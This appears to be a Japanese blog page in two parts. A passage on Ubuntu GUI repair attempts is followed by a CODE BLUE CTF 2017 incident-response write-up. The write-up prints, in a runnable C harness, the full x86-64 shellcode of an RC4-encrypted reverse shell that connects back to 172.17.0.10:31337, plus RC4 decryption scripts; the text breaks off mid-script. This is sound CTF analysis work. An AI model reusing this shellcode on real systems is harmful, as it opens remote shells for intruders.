unity --reset
コマンドを打つととりあえずGUI環境は出てくるが,全画面表示にならないので,Ctrl + Alt + F7で全画面表示.
再起動するとダメだった.
startx
コンソールから startx
を入力することによって,とりあえずGUIは使えるようになったけど,根本的な原因が解決することはなかった.
/var/log/Xorg.0.logにfbdevのエラーが出ていたので,fbdevを入れてみる
GUIが死んだときに真っ先に Xorg.0.log
を見て,怪しそうなところを対処してみたやつ.
sudo apt-get install xserver-xorg-video-fbdev
直らない.却下.
sudo apt-get purge xserver-xorg-video-fbdev
compizの問題を疑い,これを初期化してみる
- 起動後,Ctrl + Alt + F1でコンソールに入る
DISPLAY=:0.0 gnome-terminal
を入力- Alt + F7でデスクトップ画面に復帰すると,新しい端末ウィンドウが出ているので,
dconf reset -f /org/compiz/
を入力 sudo shutdown -r now
これもダメだった.
ubuntu-desktopの再インストール
sudo apt-get install --reinstall ubuntu-desktop
これもダメ.
ディスプレイマネージャーの故障を疑い,初期化
/etc/X11/default-display-manager
には /usr/sbin/lightdm
とあったので,
dpkg-reconfigure lightdm
ダメ.
ディスプレイマネージャーの故障を疑い,再インストール
sudo apt-get purge lightdm
からの sudo apt-get install lightdm
ダメ.
lightdmがダメなのかと考え,gdmに変更してみる.
/etc/X11/default-display-manager
の内容を /usr/sbin/gdm3
に変更.
すると,起動時に The system is running in low-graphics mode
というエラーが出てきて論外.
この後,いろいろやってみてもgdmがダメそうなので,lightdmに戻した.
xorg.confがなかったので,/etc/X11に配置してみる
最初は拾ってきたものを配置してみたけどダメなので,ちゃんとしたものを配置してみる.
Xorg -configure
で自分の環境に合った xorg.conf
を自動生成してくれる便利コマンドがあるのですが,確かそのまま実行しようとするとエラーを吐かれるので,
sudo systemctl stop lightdm
sudo systemctl disable lightdm
で,ディスプレイマネージャーであるlightdmを止めてから無効化する.
すると, Xorg -configure
が通るので,生成された xorg.conf
を /etc/X11/
以下に配置.
再起動してみるも,変わらず.ダメ.
VirtualBoxのGuest Additionsを入れなおす
どこかで見かけてやってみたけどダメ.
まとめ
OS入れ直したほうが早いんじゃね?とか思った時もあったので,直ってよかった.
GUIが死んだときに真っ先に見るべき場所としては, /var/log/Xorg.0.log
と $HOME/.xsession-errors
だと思う.
なんのイジメなのか2点ほど新しくバグが出ていて,1つは PrtSc
を押すとフリーズするってやつと,もう1つは2回に1回ぐらいログイン画面でフリーズしてコンソールにも入れなくなるというバグ.
そろそろ他のLinux使えっていうことなんですかね.
参考
Linuxをインストールしたのに画面が黒いままで起動しないときの対処例
本の虫: Ubuntu 14.04のUnityの設定をぶっ壊した場合の修復方法
Ubuntu 16.04 LTS : GNOMEデスクトップ環境 : Server World
Ubuntu Unity その4 - Unity(Compiz)の設定を初期化する - kledgeb
Ubuntu 16.04 Unityが死亡したときの復旧メモ - ばずなダイアリー
Ubuntu 12.10 をインストールしたら low graphics mode になった話 - ぼくたち宇宙人
Ubuntuを起動したら「The system is running in low-graphics mode」と表示され、GUI環境が立ち上がらない - ITに疎いけど興味ある人のブログ
Ubuntu 14.04でログイン後ランチャーもツールバーも表示されない問題の復旧 - M12i.
Ubuntu系でGUIログイン出来ないのファイル破損かもよ - ぷちてく - Petittech
X Window が起動しなくなった! – KUJIRA note
Blank screen at boot - errors from Upstart on 16.04 - Ask Ubuntu
CODE BLUE CTF 2017 - Incident Response - Writeup
開催期間(JST)
11/09 AM10:00 ~ 11/10 PM4:00
結果
・チーム名:wabisabi
・得点:136 pt
・順位:得点したチーム中,138/555
はじめに
最初は難しすぎる印象があって参加する気がなかったのですが,いざ開始したのを見ると問題だけでも見てみるか,となって結局普通に参加してました.
ですが,Rev問が1問もわからずに諦めかけていたところ,チームメイトの一人が暗号を1問通してくれたので,やる気を取り戻してMiscのIncident Responseをやり始めました.
結局あと少しのところで解けなかったのですが,終了後に作問者のCharo_ITさんのツイートでなるほど,となって解けました.
以下,Writeupです.
Writeup
問題文
We found some strange activities on our web server. Can you find out what happened?
与えられたターボールを解凍すると, log.pcap
という名前のpcapファイルが得られるので,wiresharkで開いてみます.
怪しそうなところをFollow TCP Streamしたところです.
sessidとかはよくわかりませんが...GETなのにデータがくっついてるっぽいです.このバイナリデータはなんでしょうか?
ここの 172.17.0.10
から 172.17.0.2
に対してのHTTPリクエストが,上記のGETリクエストっぽいです.添付されてるデータをRaw(無加工)形式で抽出してみます.
全く分からないバイナリなので,ビットマップ表示してみます.
まだそんなに見慣れていないので断定はできませんが,ELFとかPEとかの実行形式っぽい?でしょうか.
逆アセンブルしてみます.
$ objdump -b binary -m i386 -M intel -D data > data.dis
中に /bin/sh
という文字列があるのですが,そこら辺を上手く逆アセンブルできてないっぽいので,x86-64で再度逆アセンブルしてみます.
$ objdump -b binary -m i386:x86-64 -M intel -D data > data.dis
今度はちゃんといけてるっぽいですね!
あとはこれをひたすら解析していきます.
先頭のほうを見るとわかるのですが, jmp 0x1ba
という命令があり,0x1baから始まる関数がmainっぽいです.
残りのバイナリもひたすら読んでいくと,mainとは別に3つの関数があるのがわかります.さらに,システムコールを呼ぶだけの関数?が10個以上あります.
システムコールは /usr/include/x86_64-linux-gnu/asm/unistd_64.h
を見ながら解析しました.
先頭のほう.
/dev/urandom
からデータを読み込む関数. read_urandom
と名付けます.
read_urandom
で読み込んだ32バイトを元に,なにかテーブルっぽいものを作っている関数. make_table
と名付けます.
わからんが,なにか作ってそう. make_something
と名付けます.
静的解析だけでもリバースシェルっぽいなとはわかるのですが,詳細な動作はわかりませんし, connect
ではどのホストでどのポートに繋いでいるのかもわかりません.
静的解析には限界があるので,動的解析に移りたいです.
先頭の jmp 0x1ba
より前の10バイトはゴミっぽいので除いておきます.
char code[] = "\xe9\xab\x01\x00\x00\x48\x31\xc0\x0f\x05\xc3\x48\x31\xc0\x48\xff\xc0\x0f\x05\xc3\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x03\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x09\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x48\xc7\xc0\x16\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x21\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x29\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x2a\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x39\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xc3\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05\x48\xc7\xc0\x3d\x00\x00\x00\x49\x89\xca\x0f\x05\xc3\x66\x0f\x1f\x84\x00\x00\x00\x00\x00\x55\x53\x48\x89\xfd\x48\xb8\x2f\x64\x65\x76\x2f\x75\x72\x61\x31\xf6\x48\x83\xec\x18\x48\x89\xe7\x48\x89\x04\x24\xc7\x44\x24\x08\x6e\x64\x6f\x6d\xc6\x44\x24\x0c\x00\xe8\x56\xff\xff\xff\x48\x89\xee\x89\xc3\xba\x20\x00\x00\x00\x89\xc7\xe8\x36\xff\xff\xff\x89\xdf\xe8\x48\xff\xff\xff\x48\x83\xc4\x18\x5b\x5d\xc3\x0f\x1f\x00\xc7\x47\x04\x00\x00\x00\x00\xc7\x07\x00\x00\x00\x00\x31\xc0\x90\x88\x44\x07\x08\x48\x83\xc0\x01\x48\x3d\x00\x01\x00\x00\x75\xf0\x31\xc0\x31\xd2\x0f\x1f\x40\x00\x44\x0f\xb6\x44\x07\x08\x48\x89\xc1\x83\xe1\x1f\x45\x89\xc2\x44\x02\x14\x0e\x44\x89\xd1\x01\xca\x0f\xb6\xca\x44\x0f\xb6\x4c\x0f\x08\x48\x89\xca\x44\x88\x4c\x07\x08\x48\x83\xc0\x01\x44\x88\x44\x0f\x08\x48\x3d\x00\x01\x00\x00\x75\xc6\xf3\xc3\x66\x90\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x48\x85\xd2\x4c\x8d\x14\x16\x74\x47\x0f\x1f\x80\x00\x00\x00\x00\x8b\x07\x8b\x57\x04\x83\xc0\x01\x0f\xb6\xc0\x89\x07\x0f\xb6\x4c\x07\x08\x01\xca\x0f\xb6\xd2\x89\x57\x04\x44\x0f\xb6\x4c\x17\x08\x44\x88\x4c\x07\x08\x88\x4c\x17\x08\x02\x4c\x07\x08\x0f\xb6\xc9\x0f\xb6\x44\x0f\x08\x30\x06\x48\x83\xc6\x01\x49\x39\xf2\x75\xc0\xf3\xc3\x0f\x1f\x40\x00\x66\x2e\x0f\x1f\x84\x00\x00\x00\x00\x00\x41\x57\x41\x56\x31\xc0\x41\x55\x41\x54\xb9\x21\x00\x00\x00\x55\x53\x48\x81\xec\xb8\x01\x00\x00\x48\x8d\xac\x24\xa0\x00\x00\x00\x48\xc7\x44\x24\x60\x00\x00\x00\x00\x48\xc7\x44\x24\x68\x00\x00\x00\x00\x48\xc7\x44\x24\x70\x00\x00\x00\x00\x48\xc7\x44\x24\x78\x00\x00\x00\x00\x48\x89\xef\x48\xc7\x44\x24\x50\x00\x00\x00\x00\x48\xc7\x44\x24\x58\x00\x00\x00\x00\xf3\x48\xab\xe8\x4c\xfe\xff\xff\x85\xc0\x0f\x85\xe7\x01\x00\x00\x31\xd2\xbe\x01\x00\x00\x00\xbf\x02\x00\x00\x00\xe8\x1f\xfe\xff\xff\x48\x8d\x5c\x24\x60\x48\x8d\x74\x24\x50\xba\x02\x00\x00\x00\xb9\x7a\x69\x00\x00\x66\x89\x54\x24\x50\x89\xc7\xba\x10\x00\x00\x00\x66\x89\x4c\x24\x52\x41\x89\xc4\xc7\x44\x24\x54\xac\x11\x00\x0a\x4c\x8d\x74\x24\x40\xe8\xef\xfd\xff\xff\x48\x89\xdf\xe8\x24\xfe\xff\xff\xba\x20\x00\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x8f\xfd\xff\xff\x48\x89\xde\x48\x89\xef\xe8\x59\xfe\xff\xff\x45\x31\xc9\x41\xb8\xff\xff\xff\xff\xb9\x22\x00\x00\x00\xba\x03\x00\x00\x00\xbe\x00\x10\x00\x00\x31\xff\xe8\x82\xfd\xff\xff\x48\x89\xc3\x48\x8d\x44\x24\x30\x48\x89\x44\x24\x08\x48\x8d\x44\x24\x20\x48\x89\x44\x24\x18\x48\x8d\x84\x24\x80\x00\x00\x00\x48\x89\x44\x24\x10\x66\x0f\x1f\x44\x00\x00\xba\x00\x10\x00\x00\x48\x89\xde\x44\x89\xe7\xe8\x25\xfd\xff\xff\x48\x85\xc0\x0f\x84\x17\x01\x00\x00\x48\x3d\x00\x10\x00\x00\x74\x04\xc6\x04\x03\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x4d\xfe\xff\xff\x48\x8b\x7c\x24\x08\xe8\x28\xfd\xff\xff\xe8\x4b\xfd\xff\xff\x85\xc0\x41\x89\xc5\x74\x67\x8b\x7c\x24\x34\xe8\xfc\xfc\xff\xff\xeb\x20\x0f\x1f\x40\x00\x48\x89\xc2\x48\x89\xde\x48\x89\xef\xe8\x1a\xfe\xff\xff\x4c\x89\xfa\x48\x89\xde\x44\x89\xe7\xe8\xc7\xfc\xff\xff\x8b\x7c\x24\x30\xba\x00\x10\x00\x00\x48\x89\xde\xe8\xb0\xfc\xff\xff\x48\x85\xc0\x49\x89\xc7\x75\xcb\x8b\x7c\x24\x30\xe8\xb8\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xc9\x31\xd2\x44\x89\xef\xe8\x03\xfd\xff\xff\xe9\x54\xff\xff\xff\x0f\x1f\x40\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x31\xff\xc6\x44\x24\x22\x00\x48\x89\x44\x24\x40\xb8\x2d\x63\x00\x00\x4c\x89\xb4\x24\x80\x00\x00\x00\x66\x89\x44\x24\x20\x48\x8b\x44\x24\x18\x48\x89\x9c\x24\x90\x00\x00\x00\x48\xc7\x84\x24\x98\x00\x00\x00\x00\x00\x00\x00\x48\x89\x84\x24\x88\x00\x00\x00\xe8\x50\xfc\xff\xff\x8b\x7c\x24\x30\xe8\x47\xfc\xff\xff\x8b\x7c\x24\x34\xbe\x01\x00\x00\x00\xe8\x5a\xfc\xff\xff\x48\x8b\x74\x24\x10\x31\xd2\x4c\x89\xf7\xe8\x73\xfc\xff\xff\xe9\xd7\xfe\xff\xff\x0f\x1f\x80\x00\x00\x00\x00\x31\xff\xe8\x6a\xfc\xff\xf"; int main(){ (*(void (*)())code)(); }
ももテクさんの記事( Linux x86用のシェルコードを書いてみる - ももいろテクノロジー )を参考にしました.
以下が,gdb-pedaで解析時の connect
を呼ぶ時の引数です.
Guessed arguments: arg[0]: 0x3 arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 arg[2]: 0x10 arg[3]: 0x697a ('zi')
connect
を呼ぶ時の引数は connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("127.0.0.1")}, 16)
のようになっているはずですが,そう考えると
arg[0]: 0x3 <- 3 arg[1]: 0x7fffffffc900 --> 0xa0011ac697a0002 <- {sa_family, sin_port, sin_addr} arg[2]: 0x10 <- 16 arg[3]: 0x697a ('zi')
こんな感じでしょうか.4つ目の引数はよくわかりません.
0xa0011ac697a0002
のうち,どれがホストでどれがポート番号なのかわからないので,ソケット通信するプログラムを拾ってきて,調べたところ,
0a0011ac(ac 11 00 0a -> 172.17.0.10) -> inet_addr 697a(7a69 -> 31337) -> htons 0002(0200 -> AF_INET?)
こんな感じになっていることがわかりました.
ここまでの解析結果をまとめると以下のようになります.
- 攻撃者(172.17.0.10)と思われる側からサーバ側(172.17.0.2)になんらかの脆弱性を突かれて,シェルが開いた
- サーバ側から結果を受け取る攻撃者のポート番号は31337
pcapファイルにて,ポート番号31337でフィルター(tcp.port == 31337)してみます.
3way handshake後,なんらかのデータがサーバ側から送られてることがわかります.
32バイトのデータが送られてきている部分↓
2バイトのデータを送っている部分↓
54バイトのデータが送られてきている部分↓
これらを見て,最初の32バイトはわからないにしても, 短いデータを送っているのはコマンド
, その後返ってきているのは実行結果
みたいに見えてきませんかね?
ただ,暗号化されているっぽくて全く内容はわかりません.
2バイト送っているのは, ls
か id
とかでしょうか.
とにかく,この暗号化されたデータを復号すればフラグが出てきそうです.
再び,逆アセンブル結果を見てみます.
データを送っているのは write
を読んでいるところのはずなので,そこに注目して見ていくと,2つのwriteがあることがわかります.
1つは read_urandom
を呼んだ後.
もう1つは make_something
を呼んだ後.
となると,上記の最初に送られてきている32バイトのデータは /dev/urandom
から読み取った値っぽいです.
これが鍵になるのでしょうか?
暗号に疎く,方式が全く分からないので,なにか換字式っぽいものなのかなとしか見当がつきませんでした.
そこで,ローカルでこの環境を再現しようと考えました.
pythonでソケット通信するプログラムを書き,リバースシェル側から /dev/urandom
の値が送られてきたら,上記の最初に送っているコマンドっぽい2バイト( \x50\xbd
)を送り返すようにします.
/dev/urandom
はどうするかというと,上記の32バイトがそれっぽいので,これを urandn
とかいうファイル名で /dev
以下に保存しておき,リバースシェルのバイナリの urandom
という文字列を urandon
に変更して,そこから読み取るようにしました.
これでgdbでステップ実行していくと...
read
を呼んで \x50\bd
がリバースシェル側に送られた後, make_something
が実行されます.
実行後のRBXの値が
RBX: 0x7ffff7ff5000 --> 0x6469 ('id')
ビンゴです!これで他の結果も復号できると考えたのですが...できず.どうやら使用している鍵が変わっているっぽくて,さらに言うと実行結果がどう暗号化されて返ってきているのかも,解析することはできませんでした.
結局復号ができず,仮眠を取って起きてみたらCTFは終了していました.
悔しすぎるのでTwitterで情報収集していたところ,作問者のCharo_ITさんからこんなツイートが.
Incident Response: request bodyにx86_64なシェルコードがついてるGETリクエストがあるので、pcapから引っこ抜いてrevする。すると、RC4で通信内容を暗号化したreverse shellを張る処理になっていることがわかるので、pcapからreverse shellの通信を抜いて復号 #cbctf #codeblue_ctf
— しゃろ (@Charo_IT) 2017年11月10日
暗号化方式はRC4というものらしいです.
聞いたことがあるような無いようなもので,調べました.ここでも,ももテクが出てくる辺りももテクすごい.
ストリーム暗号というものに該当するらしいですね.
上記の記事にあるコードの,keyを /dev/urandom
の32バイトに,messageを \x50\xbd
に変更して実行してみる.
#!/usr/bin/env python # -*- coding: utf-8 -*- def KSA(key): # key から256マスの変換テーブル S を作る S = range(256) j = 0 for i in xrange(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す i, j = 0, 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(data, key): # data がメッセージなら暗号化、暗号文なら復号する S = KSA(key) gen = PRGA(S) data = bytearray(data) result = bytearray(c ^ n for c, n in zip(data, gen)) return str(result) # 鍵とメッセージを準備 key = '\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda' message = '\x50\xbd' # 暗号化して、復号する print "key: %r (%d bits)" % (key, len(key)*8) print "message: %r" % message ciphertext = RC4(message, key) print "ciphertext: %r" % ciphertext message2 = RC4(ciphertext, key) print "message2: %r" % message2
$ python decrypt.py key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits) message: 'P\xbd' ciphertext: 'id' message2: 'P\xbd'
ア!w
RC4はXORをしているので,暗号文を暗号する,みたいなことをやれば復号できるわけですね.
さぁ,あとはスクリプトを書いて暗号文を全部復号するだけです.
注意なのが,RC4では暗号化の度に毎回テーブルの値(の順番?)が変わっていくので,毎回同じテーブルを使っていると正しく復号できません.
以下が,書いたコード.(ももテクさんの記事にあったコードを,毎回同じテーブルを使わないように変更しただけ)
#!/usr/bin/evn python # -*- coding: utf-8 -*- S = range(256) def KSA(key): # key から256マスの変換テーブル S を作る j = 0 for i in xrange(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] def PRGA(S): # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す i, j = 0, 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(data, gen): # data がメッセージなら暗号化、暗号文なら復号する data = bytearray(data) result = bytearray(c ^ n for c, n in zip(data, gen)) print str(result) def main(): # 鍵とメッセージを準備 key = "\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda" KSA(key) gen = PRGA(S) message1 = "\x50\xbd" message2 = "\x95\x3b\x7a\xff\xd9\x18\x32\x3a\x33\x28\x32\xe1\x12\xbe\xec\xa9\x46\x30\x7d\x33\x54\xd5\x3c\xbd\xc4\xc1\xcc\x80\x35\x3a\x25\x3d\x88\xbf\x14\x69\xb7\xd1\xf3\x0d\x17\x96\x4c\xb5\x19\x5f\x4c\x7e\x15\xe1\x21\x5b\x5e\x24" message3 = "\x10\xb6\xf8" message4 = "\x48\xc8\x0c\x81\x3a\xce\x27\x92\xd4\xbd\x18\x75\x1b\xbb\xfc\x49\x15" message5 = "\x3c\x18\x14\xac\x38\xa9" message6 = "\x1d\x3d\xb5\x74\xae\x8a\x02\x13\x87\x45\x14\xc1\x9e\x2d\xcf\x51\x32\xc0\xb4\xc6\x15\xdb\x67\x31\x36\x72\x2a\x2a\x2d\xad\x9f\x2f\x91\xf6\x84\xfe\xa8\x9d\x60\x3b\x0f\x9d\x22\x16\x5b\x95\x08\xe0\x8b\x82\x3a\x3c\xad\x69\x85\xb9\x13\xaa\xb1\xf3\xad\xff\x74\x72\xc8\x22\xf0\x86\xd9\x16\x23\x3e\x6c\x1f\xfd\xaa\x5f\x9f\x43\xe1\x9b\xb4\x7c\xcd\xa2\xe9\xfc\xd0\xa8\xcd\xbe\x88\xfb\xa2\x2f\x39\xd0\xcb\x01\x4b\x76\x99\x15\xb7\x43\x83\xf6\xf9\x60\xb7\x50\x45\x9c\x9e\x2c\xa6\x02\x3b\xb1\x98\x55\xb4\x43\x08\x29\x1c\x87\x74\x27\xee\x2d\x5d\x32\x1a\x99\xba\x6b\x6e\x8a\xbc\xd1\x35\x8a\x5d\xf7\x69\x46\xc3\x17\x0a\xe2\x62\xac" message7 = "\xc9\xaf\x42\x66\x76\xee\x77\xa5\xd1\x0c\xa0\xa3\x22\x05\xb3\x02\x77\x25" message8 = "\xc5\x49\x1f\xcb\x60\x22\x9b\x3c\x52\x56\x1f\x98" message9 = "\x9a\xc5\x54\xe8\x17\x6f\x91\x7e\x59\xe2\x84\x01\xdb\x8e\xa0" message10 = "\xbb\x7d\x76\xd7\x68\xed\xfc\x82\xc4\xe6\x9a\x20\x11\x33\xb6\xe2\x8a\x84\xb2\x1d\x28\xa2\xfe\x71\xe3\x8b\x2b\xaf\x4d\xec\x42\x0b\x5a\x61\x7b\xd1\xde\x09\xb4\x0c\x6f\xae\x70\x0b\x84\xee\xf3\x6a\x95\xd5\x60\xb1\x94\x73\x12\x88\xb3\x9d\x6b\x61\x6f\x17\xa9\xa1\xe3\x22\xb1\xf2\x29\x99\x05\x5f\xce\xd5\x01\xbe\x0c\xf2\xe2\xde\x13\x05\x81\x86\x90\xae\xe8\xa1\xe1\x2e\xee\x5a\x36\x4a\xb6\x1a\xed\xd9\xda\x4c\x1e\xa3\xae\x93\x9b\xbd\xef\xa2\x17\xda\x4d\x77\x64\x81\x0f\x87\xcb\x32\x1b\x77\x0b\x78\xfa\xad\x9d\x6f\xd1\x8b\xbd\x2a\x69\x1d\x45\x5c\x31\x92\xda\xe7\x3f\xa4\xe3\x39\x26\x0c\xa5\x7c\x44\xf3\x90\x94\xb7\xb6\xb3\xc4\x37\xa9\xe0\x59\xb7\x4f\xf7\x54\xb1\x16\x8e\x62\xe3\x81\x3d\x9a\xe9\xe8\xed\xac\xcd\x2a\x89\x7d\x72\x95\x97\x81\x9b\xba\x22\xfa\x60\x66\x37\x99\xd0\x45\x17\x9e\x26\x81\xb4\xb3\x0d\x09\x0f\x3f\x9a\xf4\xfc\xf5\xe0\x20\x4c\x33\x21\x6b\x0b\x6c\x15\x34\xd2\xd0\x7a\xa4\xff\xb4\xac\xd3\x9b\x5e\x45\x28\x95\xf6\x1d\xcb\x7b\x23\xee\x9d\x24\x84\xa0\xa5\x1f\x85\xd5\x39\xf9\x99\x7a\x44\xac\x83\x4d\x7c\x30\x64\x15\xa3\x32\xab\x97\xa6\x1a\x96\x3b\x22\xdd\xee\x16\x83\x01\xb1\xe9\x9c\x3a\x0e\xb2\x14\xc1\xb6\xe9\xad\x67\x2b\x01\x4a\xae\xa6\x5f\xe6\xe4\x43\xe9\x93\x9d\x3a\xf0\x40\xc6\x04\x8a\x25\xc3\xa6\xd0\xf8\x17\x11\xbd\xa1\x7c\x32\x2a\x83\x3e\xca\x20\x99\xd4\x21\x88\xa8\xa7\x35\xa4\xd1\x28\x06\x00\x56\xcc\x92\x6f\xab\xc1\xac\x0c\x84\xfe\x2e\x67\xe1\x54\xcc\x62\xe9\xc9\xe3\xff\x79\x15\xa3\x1b\x5f\xaa\xc6\x37\xc9\x04\xe8\x1e\xc4\x69\xae\xe0\xda\xd7\x1b\xdc\x9c\x7d\x74\x8a\xce\xde\x16\x38\x98\xfc\x97\xcf\x1a\x69\x69\x72\x54\xd9\x39\x57\x38\xb4\xeb\x97\x0e\xf9\xc4\x4c\xbe\xfd\x3b\x75\xf2\xfa\x02\x0e\xc8\x36\x72\xa3\xe6\xc7\x78\xfc\xff\xfa\x51\x31\xf4\x29\xec\x15\x24\x1e\x72\x1e\x6e\xfb\x19\xb1\xbf\x35\x31\xfb\xe0\xb8\x32\x1b\x1e\xd3\x5f\xde\xbc\x19\x3b\xc2\x17\xdf\xe3\x2f\x24\x75\x5b\x5c\x7f\xce\x82\x6a\xe5\xae\x65\x14\xa0\x7d\xd1\x44\x4c\x5a\xcf\xb7\xca\x66\xda\x9e\xc1\xb5\x8d\x61\x35\xff\x45\x85\xa0\x6b\x7b\xce\x94\xe8\xe5\x5d\x66\x0b\x29\x7a\xd3\xfd\x6f\x94\x17\xc7\xb4\x1c\x3e\x62\xc2\x58\x9a\x34\x3e\x83\x2c\xf4\xd7\xa7\xa5\xd6\x43\x87\x4f\x43\xd7\xf0\x86\x4a\x48\xb3\xb3\x77\x3d\x4a\x42\xca\x29\x07\x1e\xf3\xf0\x5d\x52\x58\x2a\x7e\xbc\x84\xbc\xac\xeb\xe5\x50\x75\xd3\x3a\xdc\x46\x3f\x9c\xd6\x69\x26\x34\x9c\xe3\x8d\x44\x00\x06\x76\xbf\x3c\x83\x55\x41\x98\x91\xb2\x21\xb4\x73\xda\x47\x33\xd6\x6a\x05\x32\xb2\xdf\x59\x08\xaf\x86\x6c\xf6\x13\xdd\x2a\xe6\xb7\xb2\x74\x8c\x1e\x32\x88\x85\x19\x62\x8e\x6f\x60\xea\x64\xe6\x66\xdf\x5e\x14\x90\x6b\x6b\xb5\x0a\x90\x0c\x25\x05\xa8\xf4\x63\xb8\x5a\x52\xa7\xe3\x83\xd7\x2a\x77\xd6\xed\xa1\xa8\xf2\x93\x9b\xbf\xb8\x9b\x46\xa7\x69\x64\xbc\xbb\xbe\x64\xe5\xe2\x4b\xef\x3a\x29\x75\x7c\x9d\x9d\x10\x28\x41\xf2\xe3\xbe\xdb\xd8\xfd\xbb\x3b\xdf\xdc\xd2\x80\x83\x69\x25\x2b\x5b\x63\x7e\x05\xc4\xe8\x98\x5f\x9e\x80\xa7\x0c\x6c\x2e\x93\x28\x1c\x09\x35\x03\xac\x7b\x84\x6a\x4a\xa1\x7c\x6f\xd1\x5c\x3b\x78\x83\xa1\x9c\xf0\x75\x8b\x28\xdb\x6e\xc3\x7d\xb2\x00\xfa\x36\xb4\x81\xdd\x6d\xc1\xd0\xc2\x9a\xb9\x43\x8f\x63\x9e\xd8\x3f\xf9\x24\x36\x6b\xde\x2f\x48\xcd\xb0\xf1\x90\x71\x38\xc1\x6a\xc9\x9d\xe2\x7e\xfd\x3f\x9b\xdf\x36\x06\x81\xef\x8f\x98\x6e\x50\x10\xcc\xa1\x0f\x35\x49\x81\x48\x53\x6d\x98\xdf\xde\x32\xaf\x9d\x08\x0c\x56\xac\xf7\xc8\xea\x3a\x64\xfa\x6f\x50\x76\x63\xe8\x47\x39\x95\x88\x74\x76\xb8\x50\x70\x38\x06\x59\xe8\x8e\x5e\x0f\xe6\xd2\xca\x6f\xee\x80\x5e\xc4\xe6\x2a\x6c\xe6\xa6\x1d\x09\xe9\x64\x31\xbb\xa0\x8b\xb5\x25\x55\x04\xf7\x17\x58\xea\x7b\xd9\xf1\xf5\x1d\x47\x51\x10\x1a\x22\x95\xe9\x80\x69\xbe\x0b\xf5\x25\xbe\xa5\xb0\x6e\xc3\x7e\xc9\x8c\x2a\xb9\xee\x94\x50\x33\x62\xb6\xc0\x6d\xc7\xa9\xb5\xaa\xeb\x09\x45\x98\x3f\x1b\xe8\x37\x5f\x21\x30\xc0\xb0\xa9\xc5\x7f\xaa\xa9\x55\x93\x42\x67\xe3\x6f\x75\x90\xcf\x86\xa0\xb6\x0f\x3f\xb2\xbe\xa4\x92\x40\x19\x3b\x01\xde\xc9\x2f\x5e\x9d\x09\xa1\x6b\x65\x45\xdc\x85\xd7\x5a\xef\x9a\x7f\x9f\x74\x41\x55\xbb\x02\xdb\x4c\x11\x59\xf9\x1c\xb4\x5b\x74\x80\x1d\xe9\x78\xa1\xb6\x7c\xf1\xe4\x21\x89\x9b\x46\xec\x99\x7f\x72\xac\x02\xc6\x2f\x08\x22\xee\x11\x77\xa4\xd2\x5a\x91\x34\x52\xe2\x4c\x46\xa2\x78\xff\x87\xa0\xe3\x73\x91\x17\x18\x7c\xa8\x92\x2b\x60\xc2\x46\xe7\xa0\x4c\xc9\x63\xbb\x2d\xc7\x25\xeb\x96\xf6\xb4\x5f\xe1\x99\xca\xf2\x90\xcb\x4a\x96\x5d\x5b\xd7\x0d\xaf\x46\x5b\xa6\xc0\x02\x30\x2c\x17\x49\x64\x5c\xa3\x1d\xfd\x45\x16\x1d\x3f\x34\x1e\xab\xd2\x71\xb9\x15\x34\x01\xff\xce\xd0\xa1\x76\x97\x10\xa6\x25\x59\x7a\x76\x42\xe5\x19\x24\x52\x61\x0e\x31\x06\x67\xa7\x45\x3a\x34\xff\x36\xea\xa0\xc9\x4a\xde\x4f\x3e\x95\x99\x5f\x6a\xc9\x88\xb2\xa6\xc4\x3e\xd1\xfb\x0e\x9a\x03\xc6\x0e\x0e\x72\x77\x6c\x70\xe2\x35\x74\x5f\x23\x3c\x05\x1b\x28\xf9\xec\x12\xce\x54\x13\x04\xf5\xdb\x22\xea\x0c\xc0\xc0\x91\xe2\x4f\x27\xba\x17\xf8\xa5\x03\x8a\xe1\x6f\x56\xb4\xcb\xda\x08\x6a\x2d\x46\x1a\x1d\x0f\xbf\xe3\xcf\x5d\x92\xc1\x7c\x05\xa8\x78\x0c\x56\x52\x7f\x77\x54\xd6\x4f\xac\x79\xa0\x3d\x56\xe2\xe8\xf3\xd3\x41\x52\xfa\xd2\x0b\xd0\x60\x60\xc0\xde\x7b\x6e\x9c\x0f\xf4\x8d\x4b\x82\x21\xaf\x5b\xa9\x0b\x4f\xdb\x69\xec\xec\x81\x87\x65\x7a\xa2\x0b\xff\x61\x1c\x5e\x98\xca" message11 = "\xaa\x42\x5a\xa7\xd0\x96\xa9\x35" message12 = 